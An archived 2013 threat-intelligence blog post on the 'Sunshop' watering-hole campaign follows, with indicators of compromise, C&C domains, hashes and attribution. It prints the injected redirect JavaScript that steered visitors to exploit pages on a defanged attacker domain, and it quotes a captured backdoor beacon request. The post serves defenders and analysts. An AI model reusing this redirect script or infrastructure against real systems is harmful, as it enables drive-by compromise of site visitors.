Ready for Summer: The Sunshop Campaign

By by Ned Moran

Published: 2013-05-20 · Archived: 2026-04-05 19:41:38 UTC

FireEye recently identified another targeted attack campaign that leveraged both the recently announced Internet Explorer zero-day, CVE-2013-1347, as well as recently patched Java exploits CVE-2013-2423 and CVE-2013-1493. This campaign appears to have affected a number of victims based on the use of the Internet Explorer zero-day as well as the amount of traffic observed at making requests to the exploit server. This attack was likely executed by an actor we have named the 'Sunshop Group'. This actor was also responsible for the 2010 compromise of the Nobel Peace Prize website that leverage a zero-day in Mozilla Firefox.

Impacted Sites

The campaign in question compromised a number of strategic websites including:

• Multiple Korean military and strategy think tanks

• A Uyghur news and discussion forum

• A science and technology policy journal

• A website for evangelical students

A call to a malicious javascript file hosted at www[.]sunshop[.]com[.]tw was inserted into all of these compromised websites.

The Exploit Server

If a visitor to one of these compromised website was running Internet Explorer 8.0 the malicious javascript would redirect them to a page at www[.]sunshop[.]com[.]tw hosting a CVE-2013-1347 exploit. Any other victims were redirected to a page that downloaded two malicious jars.

```
if(browser=="Microsoft Internet Explorer" && trim_Version=="MSIE8.0" &&
window.navigator.userLanguage.indexOf("en")>-1)

{

if(sys_Version=="WindowsNT5.1")

{

showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxximg.html");

}

else

showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxxxxmig.html");//J

}

else

showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxxxxmig.html");//J
```

Dropped Payloads and C&C Infrastructure

The Internet Explorer (CVE-2013-1347) exploit code pulled down a “9002” RAT from another compromised site at hk[.]sz181[.]com. This payload had an MD5 of b0ef2ab86f160aa416184c09df8388fe and connected to a command and control server at dns[.]homesvr[.]tk.

The java exploits were packaged as two different jar files. One jar file had a MD5 of f4bee1e845137531f18c226d118e06d7 and exploited CVE-2013-2423. The second jar file had a MD5 of 3fbb7321d8610c6e2d990bb25ce34bec and exploited CVE-2013-1493.

The jar that exploited CVE-2013-2423 dropped a 9002 RAT with a MD5 of d99ed31af1e0ad6fb5bf0f116063e91f. This RAT connected to a command and control server at asp[.]homesvr[.]linkpc[.]net. The jar that exploited CVE-2013-1493 dropped a 9002 RAT with a MD5 of 42bd5e7e8f74c15873ff0f4a9ce974cd. This RAT connected to a command and control server at ssl[.]homesvr[.]tk.

All of the above 9002 command and control domains resolved to 58.64.205.53. We previously discussed the extensive use of this RAT in other advanced persistent threat (APT) campaigns here.

Related Infrastructure

After further research into 58.64.205.53 with our friends at Mandiant we uncovered a Briba sample with the MD5 6fe0f6e68cd9cc6ed7e100e7b3626665 that connected to this IP address. As seen in this malwr report, the command and control domain of nameserver1[.]zapto[.]org resolved to the same 58.64.205.53 IP address on 2013-05-07. This Briba sample generated the following network traffic to nameserver1[.]zapto[.]org over port 443:

POST /index000001021.asp HTTP/1.1

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)

Host: update.microsoft.com

Connection: Keep-Alive

Content-Type: text/html

Content-Length: 000041

For a detailed analysis of Briba please see Seth Hardy's paper 'IExplore RAT'.

The exploit site at sunshop[.]com[.]tw previously hosted a different malicious jar file on April 2, 2013. This jar file had a MD5 of 51aff823274e9d12b1a9a4bbbaf8ce00. It exploited CVE-2013-1493 and dropped a Poison Ivy RAT with the MD5 2B6605B89EAD179710565D1C2B614665. This Poison Ivy RAT connected to a command and control server at 9ijhh45[.]zapto[.]org over port 443 using a password of 'ult4life'. This domain resolved to the same 58.64.205.53 IP between April 2nd and 8th.

Attribution

The Sunshop Group has utilized the same tactics described above in previous targeted attack campaigns. These similar tactics include the use of zero-day exploits, strategic web compromise as well as Briba malware.

One of the more prominent attacks launched by this group was the compromise of the Nobel Peace Prize Committee's website in 2010.This attack leveraged a zero-day exploit targeting a previously unknown vulnerability in Mozilla Firefox.

Another publicly documented attack exploited a Flash zero-day and can be found here. Mila at the Contagio Blog posted additional information on this attack here. This attack dropped the same Briba payload discussed above.

FireEye detects the Briba backdoor as Backdoor.APT.IndexASP and the 9002 payloads as Trojan.APT.9002.

Malware

CVE	Exploit hash	Payload hash	Malware family	C&C Host
CVE-2013-1347 CVE-2013-1347	fb24c49299b197e1b56a1a51430aea26 fb24c49299b197e1b56a1a51430aea26	b0ef2ab86f160aa416184c09df8388fe b0ef2ab86f160aa416184c09df8388fe	9002 9002	dns[.]homesvr[.]tk dns[.]homesvr[.]tk
CVE-2013-2423 CVE-	f4bee1e845137531f18c226d118e06d7 f4bee1e845137531f18c226d118e06d7	d99ed31af1e0ad6fb5bf0f116063e91f d99ed31af1e0ad6fb5bf0f116063e91f	9002 9002	asp[.]homesvr[.]linkpc[.]net asp[.]homesvr[.]linkpc[.]net

2013-2423				
CVE-2013-1493 CVE-2013-1493	3fbb7321d8610c6e2d990bb25ce34bec 3fbb7321d8610c6e2d990bb25ce34bec	42bd5e7e8f74c15873ff0f4a9ce974cd 42bd5e7e8f74c15873ff0f4a9ce974cd	9002 9002	ssl[.]homesvr[.]tk ssl[.]homesvr[.]tk
Unknown Unknown	Unknown Unknown	6fe0f6e68cd9cc6ed7e100e7b3626665 6fe0f6e68cd9cc6ed7e100e7b3626665	Briba Briba	nameserver1[.]zapto[.]org nameserver1[.]zapto[.]org
CVE-2013-1493 CVE-2013-1493	51aff823274e9d12b1a9a4bbbaf8ce00 51aff823274e9d12b1a9a4bbbaf8ce00	2B6605B89EAD179710565D1C2B614665 2B6605B89EAD179710565D1C2B614665	Poison Ivy Poison Ivy	9ijhh45[.]zapto[.]org 9ijhh45[.]zapto[.]org